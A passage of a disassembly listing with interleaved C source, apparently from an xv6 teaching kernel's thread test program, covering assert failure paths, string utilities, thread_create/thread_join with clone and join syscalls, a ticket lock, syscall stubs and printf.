1b4: e8 fa 03 00 00 call 5b3 <kill>
1b9: e8 bd 03 00 00 call 57b <exit>
assert(thread_pid > 0);
1be: 6a 1e push $0x1e
1c0: 68 84 09 00 00 push $0x984
1c5: 68 8e 09 00 00 push $0x98e
1ca: 6a 01 push $0x1
1cc: e8 f3 04 00 00 call 6c4 <printf>
1d1: 83 c4 0c add $0xc,%esp
1d4: 68 d9 09 00 00 push $0x9d9
1d9: 68 a1 09 00 00 push $0x9a1
1de: 6a 01 push $0x1
1e0: e8 df 04 00 00 call 6c4 <printf>
1e5: 83 c4 08 add $0x8,%esp
1e8: 68 b5 09 00 00 push $0x9b5
1ed: 6a 01 push $0x1
1ef: e8 d0 04 00 00 call 6c4 <printf>
1f4: 83 c4 04 add $0x4,%esp
1f7: ff 35 ac 0d 00 00 pushl 0xdac
1fd: e8 b1 03 00 00 call 5b3 <kill>
202: e8 74 03 00 00 call 57b <exit>
assert(join_pid == thread_pid);
207: 6a 21 push $0x21
209: 68 84 09 00 00 push $0x984
20e: 68 8e 09 00 00 push $0x98e
213: 6a 01 push $0x1
215: e8 aa 04 00 00 call 6c4 <printf>
21a: 83 c4 0c add $0xc,%esp
21d: 68 e8 09 00 00 push $0x9e8
222: 68 a1 09 00 00 push $0x9a1
227: 6a 01 push $0x1
229: e8 96 04 00 00 call 6c4 <printf>
22e: 83 c4 08 add $0x8,%esp
231: 68 b5 09 00 00 push $0x9b5
236: 6a 01 push $0x1
238: e8 87 04 00 00 call 6c4 <printf>
23d: 83 c4 04 add $0x4,%esp
240: ff 35 ac 0d 00 00 pushl 0xdac
246: e8 68 03 00 00 call 5b3 <kill>
24b: e8 2b 03 00 00 call 57b <exit>
printf(1, "TEST PASSED\n");
250: 83 ec 08 sub $0x8,%esp
253: 68 0b 0a 00 00 push $0xa0b
258: 6a 01 push $0x1
25a: e8 65 04 00 00 call 6c4 <printf>
exit();
25f: e8 17 03 00 00 call 57b <exit>
00000264 <strcpy>:
ptr_storage ptr_pairs[NPROC];
int cell_full[NPROC];
char*
strcpy(char *s, const char *t)
{
264: f3 0f 1e fb endbr32
268: 55 push %ebp
269: 89 e5 mov %esp,%ebp
26b: 56 push %esi
26c: 53 push %ebx
26d: 8b 75 08 mov 0x8(%ebp),%esi
270: 8b 55 0c mov 0xc(%ebp),%edx
char *os;
os = s;
while((*s++ = *t++) != 0)
273: 89 f0 mov %esi,%eax
275: 89 d1 mov %edx,%ecx
277: 83 c2 01 add $0x1,%edx
27a: 89 c3 mov %eax,%ebx
27c: 83 c0 01 add $0x1,%eax
27f: 0f b6 09 movzbl (%ecx),%ecx
282: 88 0b mov %cl,(%ebx)
284: 84 c9 test %cl,%cl
286: 75 ed jne 275 <strcpy+0x11>
;
return os;
}
288: 89 f0 mov %esi,%eax
28a: 5b pop %ebx
28b: 5e pop %esi
28c: 5d pop %ebp
28d: c3 ret
0000028e <strcmp>:
int
strcmp(const char *p, const char *q)
{
28e: f3 0f 1e fb endbr32
292: 55 push %ebp
293: 89 e5 mov %esp,%ebp
295: 8b 4d 08 mov 0x8(%ebp),%ecx
298: 8b 55 0c mov 0xc(%ebp),%edx
while(*p && *p == *q)
29b: 0f b6 01 movzbl (%ecx),%eax
29e: 84 c0 test %al,%al
2a0: 74 0c je 2ae <strcmp+0x20>
2a2: 3a 02 cmp (%edx),%al
2a4: 75 08 jne 2ae <strcmp+0x20>
p++, q++;
2a6: 83 c1 01 add $0x1,%ecx
2a9: 83 c2 01 add $0x1,%edx
2ac: eb ed jmp 29b <strcmp+0xd>
return (uchar)*p - (uchar)*q;
2ae: 0f b6 c0 movzbl %al,%eax
2b1: 0f b6 12 movzbl (%edx),%edx
2b4: 29 d0 sub %edx,%eax
}
2b6: 5d pop %ebp
2b7: c3 ret
000002b8 <strlen>:
uint
strlen(const char *s)
{
2b8: f3 0f 1e fb endbr32
2bc: 55 push %ebp
2bd: 89 e5 mov %esp,%ebp
2bf: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
2c2: b8 00 00 00 00 mov $0x0,%eax
2c7: 80 3c 01 00 cmpb $0x0,(%ecx,%eax,1)
2cb: 74 05 je 2d2 <strlen+0x1a>
2cd: 83 c0 01 add $0x1,%eax
2d0: eb f5 jmp 2c7 <strlen+0xf>
;
return n;
}
2d2: 5d pop %ebp
2d3: c3 ret
000002d4 <memset>:
void*
memset(void *dst, int c, uint n)
{
2d4: f3 0f 1e fb endbr32
2d8: 55 push %ebp
2d9: 89 e5 mov %esp,%ebp
2db: 57 push %edi
2dc: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
2df: 89 d7 mov %edx,%edi
2e1: 8b 4d 10 mov 0x10(%ebp),%ecx
2e4: 8b 45 0c mov 0xc(%ebp),%eax
2e7: fc cld
2e8: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
2ea: 89 d0 mov %edx,%eax
2ec: 5f pop %edi
2ed: 5d pop %ebp
2ee: c3 ret
000002ef <strchr>:
char*
strchr(const char *s, char c)
{
2ef: f3 0f 1e fb endbr32
2f3: 55 push %ebp
2f4: 89 e5 mov %esp,%ebp
2f6: 8b 45 08 mov 0x8(%ebp),%eax
2f9: 0f b6 4d 0c movzbl 0xc(%ebp),%ecx
for(; *s; s++)
2fd: 0f b6 10 movzbl (%eax),%edx
300: 84 d2 test %dl,%dl
302: 74 09 je 30d <strchr+0x1e>
if(*s == c)
304: 38 ca cmp %cl,%dl
306: 74 0a je 312 <strchr+0x23>
for(; *s; s++)
308: 83 c0 01 add $0x1,%eax
30b: eb f0 jmp 2fd <strchr+0xe>
return (char*)s;
return 0;
30d: b8 00 00 00 00 mov $0x0,%eax
}
312: 5d pop %ebp
313: c3 ret
00000314 <gets>:
char*
gets(char *buf, int max)
{
314: f3 0f 1e fb endbr32
318: 55 push %ebp
319: 89 e5 mov %esp,%ebp
31b: 57 push %edi
31c: 56 push %esi
31d: 53 push %ebx
31e: 83 ec 1c sub $0x1c,%esp
321: 8b 7d 08 mov 0x8(%ebp),%edi
int i, cc;
char c;
for(i=0; i+1 < max; ){
324: bb 00 00 00 00 mov $0x0,%ebx
329: 89 de mov %ebx,%esi
32b: 83 c3 01 add $0x1,%ebx
32e: 3b 5d 0c cmp 0xc(%ebp),%ebx
331: 7d 2e jge 361 <gets+0x4d>
cc = read(0, &c, 1);
333: 83 ec 04 sub $0x4,%esp
336: 6a 01 push $0x1
338: 8d 45 e7 lea -0x19(%ebp),%eax
33b: 50 push %eax
33c: 6a 00 push $0x0
33e: e8 58 02 00 00 call 59b <read>
if(cc < 1)
343: 83 c4 10 add $0x10,%esp
346: 85 c0 test %eax,%eax
348: 7e 17 jle 361 <gets+0x4d>
break;
buf[i++] = c;
34a: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
34e: 88 04 37 mov %al,(%edi,%esi,1)
if(c == '\n' || c == '\r')
351: 3c 0a cmp $0xa,%al
353: 0f 94 c2 sete %dl
356: 3c 0d cmp $0xd,%al
358: 0f 94 c0 sete %al
35b: 08 c2 or %al,%dl
35d: 74 ca je 329 <gets+0x15>
buf[i++] = c;
35f: 89 de mov %ebx,%esi
break;
}
buf[i] = '\0';
361: c6 04 37 00 movb $0x0,(%edi,%esi,1)
return buf;
}
365: 89 f8 mov %edi,%eax
367: 8d 65 f4 lea -0xc(%ebp),%esp
36a: 5b pop %ebx
36b: 5e pop %esi
36c: 5f pop %edi
36d: 5d pop %ebp
36e: c3 ret
0000036f <stat>:
int
stat(const char *n, struct stat *st)
{
36f: f3 0f 1e fb endbr32
373: 55 push %ebp
374: 89 e5 mov %esp,%ebp
376: 56 push %esi
377: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
378: 83 ec 08 sub $0x8,%esp
37b: 6a 00 push $0x0
37d: ff 75 08 pushl 0x8(%ebp)
380: e8 3e 02 00 00 call 5c3 <open>
if(fd < 0)
385: 83 c4 10 add $0x10,%esp
388: 85 c0 test %eax,%eax
38a: 78 24 js 3b0 <stat+0x41>
38c: 89 c3 mov %eax,%ebx
return -1;
r = fstat(fd, st);
38e: 83 ec 08 sub $0x8,%esp
391: ff 75 0c pushl 0xc(%ebp)
394: 50 push %eax
395: e8 41 02 00 00 call 5db <fstat>
39a: 89 c6 mov %eax,%esi
close(fd);
39c: 89 1c 24 mov %ebx,(%esp)
39f: e8 07 02 00 00 call 5ab <close>
return r;
3a4: 83 c4 10 add $0x10,%esp
}
3a7: 89 f0 mov %esi,%eax
3a9: 8d 65 f8 lea -0x8(%ebp),%esp
3ac: 5b pop %ebx
3ad: 5e pop %esi
3ae: 5d pop %ebp
3af: c3 ret
return -1;
3b0: be ff ff ff ff mov $0xffffffff,%esi
3b5: eb f0 jmp 3a7 <stat+0x38>
000003b7 <atoi>:
int
atoi(const char *s)
{
3b7: f3 0f 1e fb endbr32
3bb: 55 push %ebp
3bc: 89 e5 mov %esp,%ebp
3be: 53 push %ebx
3bf: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
3c2: ba 00 00 00 00 mov $0x0,%edx
while('0' <= *s && *s <= '9')
3c7: 0f b6 01 movzbl (%ecx),%eax
3ca: 8d 58 d0 lea -0x30(%eax),%ebx
3cd: 80 fb 09 cmp $0x9,%bl
3d0: 77 12 ja 3e4 <atoi+0x2d>
n = n*10 + *s++ - '0';
3d2: 8d 1c 92 lea (%edx,%edx,4),%ebx
3d5: 8d 14 1b lea (%ebx,%ebx,1),%edx
3d8: 83 c1 01 add $0x1,%ecx
3db: 0f be c0 movsbl %al,%eax
3de: 8d 54 10 d0 lea -0x30(%eax,%edx,1),%edx
3e2: eb e3 jmp 3c7 <atoi+0x10>
return n;
}
3e4: 89 d0 mov %edx,%eax
3e6: 5b pop %ebx
3e7: 5d pop %ebp
3e8: c3 ret
000003e9 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
3e9: f3 0f 1e fb endbr32
3ed: 55 push %ebp
3ee: 89 e5 mov %esp,%ebp
3f0: 56 push %esi
3f1: 53 push %ebx
3f2: 8b 75 08 mov 0x8(%ebp),%esi
3f5: 8b 4d 0c mov 0xc(%ebp),%ecx
3f8: 8b 45 10 mov 0x10(%ebp),%eax
char *dst;
const char *src;
dst = vdst;
3fb: 89 f2 mov %esi,%edx
src = vsrc;
while(n-- > 0)
3fd: 8d 58 ff lea -0x1(%eax),%ebx
400: 85 c0 test %eax,%eax
402: 7e 0f jle 413 <memmove+0x2a>
*dst++ = *src++;
404: 0f b6 01 movzbl (%ecx),%eax
407: 88 02 mov %al,(%edx)
409: 8d 49 01 lea 0x1(%ecx),%ecx
40c: 8d 52 01 lea 0x1(%edx),%edx
while(n-- > 0)
40f: 89 d8 mov %ebx,%eax
411: eb ea jmp 3fd <memmove+0x14>
return vdst;
}
413: 89 f0 mov %esi,%eax
415: 5b pop %ebx
416: 5e pop %esi
417: 5d pop %ebp
418: c3 ret
00000419 <thread_create>:
int thread_create(void (*start_routine)(void *, void *), void *arg1, void *arg2) {
419: f3 0f 1e fb endbr32
41d: 55 push %ebp
41e: 89 e5 mov %esp,%ebp
420: 53 push %ebx
421: 83 ec 10 sub $0x10,%esp
void *curr_ptr = malloc(PGSIZE*2);
424: 68 00 20 00 00 push $0x2000
429: e8 c7 04 00 00 call 8f5 <malloc>
void *user_stack = curr_ptr;
if ((uint)user_stack % PGSIZE != 0) {
42e: 83 c4 10 add $0x10,%esp
431: 89 c2 mov %eax,%edx
433: 81 e2 ff 0f 00 00 and $0xfff,%edx
439: 74 22 je 45d <thread_create+0x44>
user_stack += (PGSIZE - ((uint)user_stack % PGSIZE));
43b: b9 00 10 00 00 mov $0x1000,%ecx
440: 29 d1 sub %edx,%ecx
442: 01 c1 add %eax,%ecx
}
int i;
for (i = 0; i < NPROC; i++) {
444: ba 00 00 00 00 mov $0x0,%edx
449: 83 fa 3f cmp $0x3f,%edx
44c: 7f 13 jg 461 <thread_create+0x48>
if (cell_full[i] != 1) { break; }
44e: 83 3c 95 c0 10 00 00 cmpl $0x1,0x10c0(,%edx,4)
455: 01
456: 75 09 jne 461 <thread_create+0x48>
for (i = 0; i < NPROC; i++) {
458: 83 c2 01 add $0x1,%edx
45b: eb ec jmp 449 <thread_create+0x30>
void *user_stack = curr_ptr;
45d: 89 c1 mov %eax,%ecx
45f: eb e3 jmp 444 <thread_create+0x2b>
}
if (cell_full[i] == 1) {
461: 83 3c 95 c0 10 00 00 cmpl $0x1,0x10c0(,%edx,4)
468: 01
469: 74 34 je 49f <thread_create+0x86>
return -1;
}
ptr_pairs[i].orig_ptr = curr_ptr;
46b: 8d 1c 52 lea (%edx,%edx,2),%ebx
46e: c1 e3 02 shl $0x2,%ebx
471: 89 83 c0 0d 00 00 mov %eax,0xdc0(%ebx)
ptr_pairs[i].offset_ptr = user_stack;
477: 89 8b c4 0d 00 00 mov %ecx,0xdc4(%ebx)
cell_full[i] = 1;
47d: c7 04 95 c0 10 00 00 movl $0x1,0x10c0(,%edx,4)
484: 01 00 00 00
// curr_ptrs->next->orig_ptr = curr_ptr;
// curr_ptrs->next->offset_ptr = user_stack;
// curr_ptrs->next->next = NULL;
// }
return clone(user_stack, start_routine, arg1, arg2);
488: ff 75 10 pushl 0x10(%ebp)
48b: ff 75 0c pushl 0xc(%ebp)
48e: ff 75 08 pushl 0x8(%ebp)
491: 51 push %ecx
492: e8 dc 00 00 00 call 573 <clone>
497: 83 c4 10 add $0x10,%esp
}
49a: 8b 5d fc mov -0x4(%ebp),%ebx
49d: c9 leave
49e: c3 ret
return -1;
49f: b8 ff ff ff ff mov $0xffffffff,%eax
4a4: eb f4 jmp 49a <thread_create+0x81>
000004a6 <thread_join>:
int thread_join(){
4a6: f3 0f 1e fb endbr32
4aa: 55 push %ebp
4ab: 89 e5 mov %esp,%ebp
4ad: 56 push %esi
4ae: 53 push %ebx
4af: 83 ec 1c sub $0x1c,%esp
void* diov;
int out = join(&diov);
4b2: 8d 45 f4 lea -0xc(%ebp),%eax
4b5: 50 push %eax
4b6: e8 d0 00 00 00 call 58b <join>
4bb: 89 c6 mov %eax,%esi
// free(curr_ptrs->orig_ptr);
// prev_ptrs->next = curr_ptrs->next;
// free(curr_ptrs);
int i;
for (i = 0; i < NPROC; i++) {
4bd: 83 c4 10 add $0x10,%esp
4c0: bb 00 00 00 00 mov $0x0,%ebx
4c5: 83 fb 3f cmp $0x3f,%ebx
4c8: 7f 14 jg 4de <thread_join+0x38>
if (ptr_pairs[i].offset_ptr == diov) { break; }
4ca: 8d 04 5b lea (%ebx,%ebx,2),%eax
4cd: 8b 55 f4 mov -0xc(%ebp),%edx
4d0: 39 14 85 c4 0d 00 00 cmp %edx,0xdc4(,%eax,4)
4d7: 74 05 je 4de <thread_join+0x38>
for (i = 0; i < NPROC; i++) {
4d9: 83 c3 01 add $0x1,%ebx
4dc: eb e7 jmp 4c5 <thread_join+0x1f>
}
if (ptr_pairs[i].offset_ptr != diov) { return -1; }
4de: 8d 04 5b lea (%ebx,%ebx,2),%eax
4e1: 8b 4d f4 mov -0xc(%ebp),%ecx
4e4: 39 0c 85 c4 0d 00 00 cmp %ecx,0xdc4(,%eax,4)
4eb: 75 26 jne 513 <thread_join+0x6d>
free(ptr_pairs[i].orig_ptr);
4ed: 83 ec 0c sub $0xc,%esp
4f0: ff 34 85 c0 0d 00 00 pushl 0xdc0(,%eax,4)
4f7: e8 35 03 00 00 call 831 <free>
cell_full[i] = 0;
4fc: c7 04 9d c0 10 00 00 movl $0x0,0x10c0(,%ebx,4)
503: 00 00 00 00
return out;
507: 83 c4 10 add $0x10,%esp
}
50a: 89 f0 mov %esi,%eax
50c: 8d 65 f8 lea -0x8(%ebp),%esp
50f: 5b pop %ebx
510: 5e pop %esi
511: 5d pop %ebp
512: c3 ret
if (ptr_pairs[i].offset_ptr != diov) { return -1; }
513: be ff ff ff ff mov $0xffffffff,%esi
518: eb f0 jmp 50a <thread_join+0x64>
0000051a <lock_init>:
: "memory"
);
return value;
}
void lock_init(lock_t *lock) {
51a: f3 0f 1e fb endbr32
51e: 55 push %ebp
51f: 89 e5 mov %esp,%ebp
521: 8b 45 08 mov 0x8(%ebp),%eax
lock->ticket = 0;
524: c7 00 00 00 00 00 movl $0x0,(%eax)
lock->turn = 0;
52a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
}
531: 5d pop %ebp
532: c3 ret
00000533 <lock_acquire>:
void lock_acquire(lock_t *lock) {
533: f3 0f 1e fb endbr32
537: 55 push %ebp
538: 89 e5 mov %esp,%ebp
53a: 8b 55 08 mov 0x8(%ebp),%edx
__asm__ volatile("lock; xaddl %0, %1"
53d: b9 01 00 00 00 mov $0x1,%ecx
542: f0 0f c1 0a lock xadd %ecx,(%edx)
546: b8 00 00 00 00 mov $0x0,%eax
54b: f0 0f c1 42 04 lock xadd %eax,0x4(%edx)
int myturn = fetch_and_add(&lock->ticket, 1);
while( fetch_and_add(&lock->turn, 0) != myturn ) { //changed
550: 39 c1 cmp %eax,%ecx
552: 75 f2 jne 546 <lock_acquire+0x13>
; // spin
}
}
554: 5d pop %ebp
555: c3 ret
00000556 <lock_release>:
void lock_release(lock_t *lock) {
556: f3 0f 1e fb endbr32
55a: 55 push %ebp
55b: 89 e5 mov %esp,%ebp
55d: 8b 55 08 mov 0x8(%ebp),%edx
lock->turn = lock->turn + 1;
560: 8b 42 04 mov 0x4(%edx),%eax
563: 83 c0 01 add $0x1,%eax
566: 89 42 04 mov %eax,0x4(%edx)
}
569: 5d pop %ebp
56a: c3 ret
0000056b <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
56b: b8 01 00 00 00 mov $0x1,%eax
570: cd 40 int $0x40
572: c3 ret
00000573 <clone>:
SYSCALL(clone)
573: b8 16 00 00 00 mov $0x16,%eax
578: cd 40 int $0x40
57a: c3 ret
0000057b <exit>:
SYSCALL(exit)
57b: b8 02 00 00 00 mov $0x2,%eax
580: cd 40 int $0x40
582: c3 ret
00000583 <wait>:
SYSCALL(wait)
583: b8 03 00 00 00 mov $0x3,%eax
588: cd 40 int $0x40
58a: c3 ret
0000058b <join>:
SYSCALL(join)
58b: b8 17 00 00 00 mov $0x17,%eax
590: cd 40 int $0x40
592: c3 ret
00000593 <pipe>:
SYSCALL(pipe)
593: b8 04 00 00 00 mov $0x4,%eax
598: cd 40 int $0x40
59a: c3 ret
0000059b <read>:
SYSCALL(read)
59b: b8 05 00 00 00 mov $0x5,%eax
5a0: cd 40 int $0x40
5a2: c3 ret
000005a3 <write>:
SYSCALL(write)
5a3: b8 10 00 00 00 mov $0x10,%eax
5a8: cd 40 int $0x40
5aa: c3 ret
000005ab <close>:
SYSCALL(close)
5ab: b8 15 00 00 00 mov $0x15,%eax
5b0: cd 40 int $0x40
5b2: c3 ret
000005b3 <kill>:
SYSCALL(kill)
5b3: b8 06 00 00 00 mov $0x6,%eax
5b8: cd 40 int $0x40
5ba: c3 ret
000005bb <exec>:
SYSCALL(exec)
5bb: b8 07 00 00 00 mov $0x7,%eax
5c0: cd 40 int $0x40
5c2: c3 ret
000005c3 <open>:
SYSCALL(open)
5c3: b8 0f 00 00 00 mov $0xf,%eax
5c8: cd 40 int $0x40
5ca: c3 ret
000005cb <mknod>:
SYSCALL(mknod)
5cb: b8 11 00 00 00 mov $0x11,%eax
5d0: cd 40 int $0x40
5d2: c3 ret
000005d3 <unlink>:
SYSCALL(unlink)
5d3: b8 12 00 00 00 mov $0x12,%eax
5d8: cd 40 int $0x40
5da: c3 ret
000005db <fstat>:
SYSCALL(fstat)
5db: b8 08 00 00 00 mov $0x8,%eax
5e0: cd 40 int $0x40
5e2: c3 ret
000005e3 <link>:
SYSCALL(link)
5e3: b8 13 00 00 00 mov $0x13,%eax
5e8: cd 40 int $0x40
5ea: c3 ret
000005eb <mkdir>:
SYSCALL(mkdir)
5eb: b8 14 00 00 00 mov $0x14,%eax
5f0: cd 40 int $0x40
5f2: c3 ret
000005f3 <chdir>:
SYSCALL(chdir)
5f3: b8 09 00 00 00 mov $0x9,%eax
5f8: cd 40 int $0x40
5fa: c3 ret
000005fb <dup>:
SYSCALL(dup)
5fb: b8 0a 00 00 00 mov $0xa,%eax
600: cd 40 int $0x40
602: c3 ret
00000603 <getpid>:
SYSCALL(getpid)
603: b8 0b 00 00 00 mov $0xb,%eax
608: cd 40 int $0x40
60a: c3 ret
0000060b <sbrk>:
SYSCALL(sbrk)
60b: b8 0c 00 00 00 mov $0xc,%eax
610: cd 40 int $0x40
612: c3 ret
00000613 <sleep>:
SYSCALL(sleep)
613: b8 0d 00 00 00 mov $0xd,%eax
618: cd 40 int $0x40
61a: c3 ret
0000061b <uptime>:
SYSCALL(uptime)
61b: b8 0e 00 00 00 mov $0xe,%eax
620: cd 40 int $0x40
622: c3 ret
00000623 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
623: 55 push %ebp
624: 89 e5 mov %esp,%ebp
626: 83 ec 1c sub $0x1c,%esp
629: 88 55 f4 mov %dl,-0xc(%ebp)
write(fd, &c, 1);
62c: 6a 01 push $0x1
62e: 8d 55 f4 lea -0xc(%ebp),%edx
631: 52 push %edx
632: 50 push %eax
633: e8 6b ff ff ff call 5a3 <write>
}
638: 83 c4 10 add $0x10,%esp
63b: c9 leave
63c: c3 ret
0000063d <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
63d: 55 push %ebp
63e: 89 e5 mov %esp,%ebp
640: 57 push %edi
641: 56 push %esi
642: 53 push %ebx
643: 83 ec 2c sub $0x2c,%esp
646: 89 45 d0 mov %eax,-0x30(%ebp)
649: 89 d6 mov %edx,%esi
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
64b: 83 7d 08 00 cmpl $0x0,0x8(%ebp)
64f: 0f 95 c2 setne %dl
652: 89 f0 mov %esi,%eax
654: c1 e8 1f shr $0x1f,%eax
657: 84 c2 test %al,%dl
659: 74 42 je 69d <printint+0x60>
neg = 1;
x = -xx;
65b: f7 de neg %esi
neg = 1;
65d: c7 45 d4 01 00 00 00 movl $0x1,-0x2c(%ebp)
} else {
x = xx;
}
i = 0;
664: bb 00 00 00 00 mov $0x0,%ebx
do{
buf[i++] = digits[x % base];
669: 89 f0 mov %esi,%eax
66b: ba 00 00 00 00 mov $0x0,%edx
670: f7 f1 div %ecx
672: 89 df mov %ebx,%edi
674: 83 c3 01 add $0x1,%ebx
677: 0f b6 92 20 0a 00 00 movzbl 0xa20(%edx),%edx
67e: 88 54 3d d8 mov %dl,-0x28(%ebp,%edi,1)
}while((x /= base) != 0);
682: 89 f2 mov %esi,%edx
684: 89 c6 mov %eax,%esi
686: 39 d1 cmp %edx,%ecx
688: 76 df jbe 669 <printint+0x2c>
if(neg)
68a: 83 7d d4 00 cmpl $0x0,-0x2c(%ebp)
68e: 74 2f je 6bf <printint+0x82>
buf[i++] = '-';
690: c6 44 1d d8 2d movb $0x2d,-0x28(%ebp,%ebx,1)
695: 8d 5f 02 lea 0x2(%edi),%ebx
698: 8b 75 d0 mov -0x30(%ebp),%esi
69b: eb 15 jmp 6b2 <printint+0x75>
neg = 0;
69d: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp)
6a4: eb be jmp 664 <printint+0x27>
while(--i >= 0)
putc(fd, buf[i]);
6a6: 0f be 54 1d d8 movsbl -0x28(%ebp,%ebx,1),%edx
6ab: 89 f0 mov %esi,%eax
6ad: e8 71 ff ff ff call 623 <putc>
while(--i >= 0)
6b2: 83 eb 01 sub $0x1,%ebx
6b5: 79 ef jns 6a6 <printint+0x69>
}
6b7: 83 c4 2c add $0x2c,%esp
6ba: 5b pop %ebx
6bb: 5e pop %esi
6bc: 5f pop %edi
6bd: 5d pop %ebp
6be: c3 ret
6bf: 8b 75 d0 mov -0x30(%ebp),%esi
6c2: eb ee jmp 6b2 <printint+0x75>
000006c4 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
6c4: f3 0f 1e fb endbr32
6c8: 55 push %ebp
6c9: 89 e5 mov %esp,%ebp
6cb: 57 push %edi
6cc: 56 push %esi
6cd: 53 push %ebx
6ce: 83 ec 1c sub $0x1c,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
6d1: 8d 45 10 lea 0x10(%ebp),%eax
6d4: 89 45 e4 mov %eax,-0x1c(%ebp)
state = 0;
6d7: be 00 00 00 00 mov $0x0,%esi
for(i = 0; fmt[i]; i++){
6dc: bb 00 00 00 00 mov $0x0,%ebx
6e1: eb 14 jmp 6f7 <printf+0x33>
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
state = '%';
} else {
putc(fd, c);
6e3: 89 fa mov %edi,%edx
6e5: 8b 45 08 mov 0x8(%ebp),%eax
6e8: e8 36 ff ff ff call 623 <putc>
6ed: eb 05 jmp 6f4 <printf+0x30>
}
} else if(state == '%'){
6ef: 83 fe 25 cmp $0x25,%esi
6f2: 74 25 je 719 <printf+0x55>
for(i = 0; fmt[i]; i++){
6f4: 83 c3 01 add $0x1,%ebx
6f7: 8b 45 0c mov 0xc(%ebp),%eax
6fa: 0f b6 04 18 movzbl (%eax,%ebx,1),%eax
6fe: 84 c0 test %al,%al
700: 0f 84 23 01 00 00 je 829 <printf+0x165>
c = fmt[i] & 0xff;
706: 0f be f8 movsbl %al,%edi
709: 0f b6 c0 movzbl %al,%eax
if(state == 0){
70c: 85 f6 test %esi,%esi
70e: 75 df jne 6ef <printf+0x2b>
if(c == '%'){
710: 83 f8 25 cmp $0x25,%eax
713: 75 ce jne 6e3 <printf+0x1f>
state = '%';
715: 89 c6 mov %eax,%esi
717: eb db jmp 6f4 <printf+0x30>
if(c == 'd'){
719: 83 f8 64 cmp $0x64,%eax
71c: 74 49 je 767 <printf+0xa3>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
71e: 83 f8 78 cmp $0x78,%eax
721: 0f 94 c1 sete %cl
724: 83 f8 70 cmp $0x70,%eax
727: 0f 94 c2 sete %dl
72a: 08 d1 or %dl,%cl
72c: 75 63 jne 791 <printf+0xcd>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
72e: 83 f8 73 cmp $0x73,%eax
731: 0f 84 84 00 00 00 je 7bb <printf+0xf7>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
737: 83 f8 63 cmp $0x63,%eax
73a: 0f 84 b7 00 00 00 je 7f7 <printf+0x133>
putc(fd, *ap);
ap++;
} else if(c == '%'){
740: 83 f8 25 cmp $0x25,%eax
743: 0f 84 cc 00 00 00 je 815 <printf+0x151>
putc(fd, c);
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
749: ba 25 00 00 00 mov $0x25,%edx
74e: 8b 45 08 mov 0x8(%ebp),%eax
751: e8 cd fe ff ff call 623 <putc>
putc(fd, c);
756: 89 fa mov %edi,%edx
758: 8b 45 08 mov 0x8(%ebp),%eax
75b: e8 c3 fe ff ff call 623 <putc>
}
state = 0;
760: be 00 00 00 00 mov $0x0,%esi
765: eb 8d jmp 6f4 <printf+0x30>
printint(fd, *ap, 10, 1);
767: 8b 7d e4 mov -0x1c(%ebp),%edi
76a: 8b 17 mov (%edi),%edx
76c: 83 ec 0c sub $0xc,%esp
76f: 6a 01 push $0x1
771: b9 0a 00 00 00 mov $0xa,%ecx
776: 8b 45 08 mov 0x8(%ebp),%eax
779: e8 bf fe ff ff call 63d <printint>
ap++;
77e: 83 c7 04 add $0x4,%edi
781: 89 7d e4 mov %edi,-0x1c(%ebp)
784: 83 c4 10 add $0x10,%esp
state = 0;
787: be 00 00 00 00 mov $0x0,%esi
78c: e9 63 ff ff ff jmp 6f4 <printf+0x30>
printint(fd, *ap, 16, 0);
791: 8b 7d e4 mov -0x1c(%ebp),%edi
794: 8b 17 mov (%edi),%edx
796: 83 ec 0c sub $0xc,%esp
799: 6a 00 push $0x0
79b: b9 10 00 00 00 mov $0x10,%ecx
7a0: 8b 45 08 mov 0x8(%ebp),%eax
7a3: e8 95 fe ff ff call 63d <printint>
ap++;
7a8: 83 c7 04 add $0x4,%edi
7ab: 89 7d e4 mov %edi,-0x1c(%ebp)
7ae: 83 c4 10 add $0x10,%esp
state = 0;
7b1: be 00 00 00 00 mov $0x0,%esi
7b6: e9 39 ff ff ff jmp 6f4 <printf+0x30>
s = (char*)*ap;
7bb: 8b 45 e4 mov -0x1c(%ebp),%eax
7be: 8b 30 mov (%eax),%esi
ap++;
7c0: 83 c0 04 add $0x4,%eax
7c3: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
7c6: 85 f6 test %esi,%esi
7c8: 75 28 jne 7f2 <printf+0x12e>
s = "(null)";
7ca: be 18 0a 00 00 mov $0xa18,%esi
7cf: 8b 7d 08 mov 0x8(%ebp),%edi
7d2: eb 0d jmp 7e1 <printf+0x11d>
putc(fd, *s);
7d4: 0f be d2 movsbl %dl,%edx
7d7: 89 f8 mov %edi,%eax
7d9: e8 45 fe ff ff call 623 <putc>
s++;
7de: 83 c6 01 add $0x1,%esi
while(*s != 0){
7e1: 0f b6 16 movzbl (%esi),%edx
7e4: 84 d2 test %dl,%dl
7e6: 75 ec jne 7d4 <printf+0x110>
state = 0;
7e8: be 00 00 00 00 mov $0x0,%esi
7ed: e9 02 ff ff ff jmp 6f4 <printf+0x30>
7f2: 8b 7d 08 mov 0x8(%ebp),%edi
7f5: eb ea jmp 7e1 <printf+0x11d>
putc(fd, *ap);
7f7: 8b 7d e4 mov -0x1c(%ebp),%edi
